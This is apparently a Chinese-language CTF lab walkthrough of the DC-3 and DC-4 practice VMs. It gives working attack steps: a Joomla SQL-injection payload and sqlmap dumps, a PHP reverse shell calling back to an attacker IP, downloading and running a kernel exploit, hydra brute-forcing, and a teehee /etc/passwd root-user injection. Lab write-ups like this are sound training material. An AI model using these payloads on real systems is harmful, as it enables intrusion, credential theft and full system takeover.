DC3-4靶机复现

DC3-4靶机复现

DC-3

基础信息搜集

老样子,上来还是基础流程,根据我们找到的mac地址,确定靶机地址

使用nmap查看目标靶机的详细端口开放

1
nmap -A -p- 192.168.10.138

可以看到只开放了80端口提供http页面,同时使用的是apache服务器,版本为2.4.18

访问一下页面

搜集到如下信息

1
2
3
Joomla		cms管理系统
Ubuntu 操作系统
Apache 服务器2.4.18

页面上还有这么一句话:

1
2
3
4
5
6
7
8
9
Welcome to DC-3.
欢迎来到DC-3。
This time, there is only one flag, one entry point and no clues.
这一次,只有一个flag,一个入口点,没有任何线索。
To get the flag, you'll obviously have to gain root privileges.
要获得flag,您显然必须获得root权限。
How you get to be root is up to you - and, obviously, the system.
你如何成为root取决于你 - 显然,还有系统。
Good luck - and I hope you enjoy this little challenge. :-)

漏洞探测

既然有cms,我们首先使用metasploit对于cms进行扫描

1
msfconsole

发现有很多攻击模块,试试,发现没有一个成功的,这很恼火,那么我们使用dirb扫一下目录:

1
dirb 192.168.10.138

挨着访问,我们发现了一个后台登录界面

http://192.168.10.138/administrator/index.php

到这里不知道该怎么办,知道是cms

但是我们这时候就有反骨了,突然想起来之前安装的advs这个漏洞扫描器还没用过,那就试试,设置好后,开始扫描

哇塞,全是漏洞(好富裕,一时间不知道该利用哪个),我们先从第一个开始看(点进去之后有漏洞描述)

明显是一个sql注入漏洞,原理是没有对用户提供的数据进行充分处理

漏洞利用

根据advs提供的漏洞讲解文章还有网上搜到的,我们得到如下payload

1
?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

经检验,漏洞确实存在,那接下来就到我们的懒狗快乐时间(使用sqlmap)

爆库名

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" --dbs

爆出来5个库,既然是joomla的cms,那我们就先看joomladb这个表

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" --tables

爆出来76个表,既然我们想要弄到后台的信息,那我们就先看看users这个表,查列名

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" --columns

得到了6个字段的东西,下一步肯定首先就是查id和password的东西了

1
sqlmap -u "http://192.168.10.138//index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=*" -D "joomladb" -T "#__users" -C "username,password" --dump

这密码一看就是加密过的,看起来很像md5解密,我们解密一手,但是这个使用md5在线工具解密失败了,所以我们上网搜了一下,尝试使用kali自带的john进行解密

1
2
3
vim 1.txt
将密码复制进去
john 1.txt

得到密码,进行登录

好,到这里已经是极限了,下面我是真不会了,只有乱测,乱点一通,但是没发现啥有用的,撑不下去了,还是乖乖的看wp吧

反弹shell

发现Extensions->Templates里面的模板可以修改执行PHP脚本

那我们接下来就随便找一个路径书写我们想要的php程序

往里面书写我们想要进行反弹shell的代码(一定要注意缩进):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$sock = fsockopen("192.168.79.128", "5555");

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

$process = proc_open('/bin/sh', $descriptorspec, $pipes);

proc_close($process);

点击save保存之后进行访问http://192.168.10.138/offline.php

在kali内对4441端口进行监听:

1
nc -lvvp 4441

可以看到已经接收到shell

提权

拿到shell之后,进行了一些基础操作,包括通过python更改交互式shell,但显示权限不够,然后使用suid提权,发现也不行,这里就尝试进行系统漏洞提权

查看发行版的详细信息

1
cat /etc/*release       #查看发行版信息

可以看到是ubuntu的16.04的版本

1
cat /proc/version  #查看内核版本的全部信息

可以看到内核版本详细信息为4.4.0

使用kali自带的漏洞库来进行系统漏洞的查找

1
searchsploit ubuntu 16.04

把内核对应版本的都试一下,可以发现39772.txt能用

查看exp:

1
cat /usr/share/exploitdb/exploits/linux/local/39772.txt

下载地址就在下面,把压缩包下载到本地

1
wget  https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
1
2
3
4
5
开启apache服务
systemctl start apache2.service

移动39772.zip到指定的apache的目录下,得到访问页面
mv 39772.zip /var/www/html

既然已经移到了web服务下面,那么我们访问虚拟机地址,如果是第一次使用记得删除/var/www/html下的index.html文件

既然已经出现在web目录下,那我们就在目标靶机的shell里下载攻击机上的exp

1
wget http://192.168.10.129/39772.zip

解压exp

1
2
3
unzip 39772.zip         #解压39772.zip
cd 39772 #进入39772
tar -xvf exploit.tar #解压缩exploit.tar

进入 ebpf_mapfd_doubleput_exploit 运行exp

1
cd ebpf_mapfd_doubleput_exploit

至于运行方法之前那个cat /usr/share/exploitdb/exploits/linux/local/39772.txt写了的

运行compile.sh , doubleput即可

1
2
./compile.sh
./doubleput

可以看到提权成功,下一步就是进入root,直接得到flag就行

DC-4

基础信息搜集

老规矩,第一步:确定靶机IP和判断端口所开放的服务

1
nmap 192.168.10.0/24
1
nmap -A- -p 192.168.10.137
1
2
22		开放ssh服务
80 开放http服务/面板服务为nginx

使用dirb进行目录爆破:

1
dirb http://192.168.10.137/

发现只有文件都被重定向到index.php,看样子不得不登陆了。

hydra爆破登录

这里直接访问:192.168.10.137:80,看到上述界面,还是使用插件看看框架,发现只有nginx,我们试着搜一搜nginx1.15.10是否存在什么漏洞

使用Metasploit进行探测和访问发现对于这个框架来讲并没有什么可以利用的,所有的对于这个框架的漏洞都不适用于这个nginx的版本,那么就尝试进行暴力破解

我们使用hydra配合kali自带的字典进行破解

1
hydra -l admin -P /usr/share/wordlists/metasploit/password.lst -t 8 192.168.10.137 http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F

可以看到爆破成功,密码为happy

命令查询

我们点击Command,跳转到下一个页面

随便选一个,我们点击run进行抓包

很明显,我们可以知道radio参数就是执行命令的所传参数,那我们利用这个来执行命令

既然有ssh服务,那我们就尝试看看能不能找到ssh登录的用户和密码,我们知道在kali下,用户目录一般在/home下,所以我们进行查询

发现了三个用户

1
2
3
charles
jim
sam

一一访问一下,charles和sam用户下面只有return to menu,但是在jim目录下发现了一些东西

还是挨着访问一下

还是只有backups下面有内容,cat看一下,发现是存储旧密码的一个文件

hydra爆破ssh密码

这下好了那我们就生成字典进行爆破登录ssh服务,因为这个是jim用户下的,所以我们用户名直接指定为jim就行

1
hydra -l jim -P passwd.txt  192.168.10.137 ssh -v

爆破成功我们进行连接

1
ssh jim@192.168.10.137 -p 22

到这里简单的进一些重要文件看了看不知道该怎么办了,只有去看看wp,发现重点在/var/mail这个邮件目录下

我们进行查看

我们可以看到邮件里又给出了一个针对于charles的密码,而我们之前使用burpsuite来找ssh服务用户时发现了三个用户,其中就有charles,我们来进行连接

1
ssh charles@192.168.10.137 -p 22

成功连接

teethe提权

登录进来之后首先想到的是进行查看suid提权的情况:

1
find / -user root -perm -4000 -print 2>/dev/null

发现sudo是具有suid权限的,那我们使用sudo -l来看看哪些是具有sudo权限的:

1
sudo -l

可以看到teehee是不需要密码就可以使用的,那我们就去网上搜搜teehee命令是否存在提权

1
2
3
4
5
6
7
8
9
teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目


echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd


按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su raaj就可以登录到raaj用户,这个用户因为uid为0,所以也是root权限

可以看到成功以root身份进入shell

1
2
3
4
cd /
ls
ls root
cat root/flag.txt

成功拿到了flag。